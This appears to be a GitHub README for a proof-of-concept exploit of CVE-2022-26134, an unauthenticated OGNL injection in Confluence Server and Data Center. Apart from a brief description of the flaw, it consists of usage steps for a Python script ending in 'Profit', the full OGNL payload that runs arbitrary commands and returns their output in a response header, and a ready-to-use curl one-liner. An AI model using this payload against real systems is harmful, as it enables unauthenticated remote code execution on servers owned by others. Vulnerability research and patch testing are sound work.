/CVE-2022-26134

CVE-2022-26134 Confluence OGNL Injection POC

Primary LanguagePython

CVE-2022-26134 POC

Description

In affected versions of Confluence Server and Data Center, 
an OGNL injection vulnerability exists that would allow an unauthenticated attacker to execute arbitrary code 
on a Confluence Server or Data Center instance.

POC

  1. Run python3 confluence.py -u http://127.0.0.1 -c whoami
  2. Profit

The Payload

URL-Decoded payload:

/${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("COMMAND").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}/

This executes the command on the target server and sends the output back inside the X-Cmd-Response header.

You could also use curl:

curl -kI "http://127.0.0.1/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22whoami%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/"

References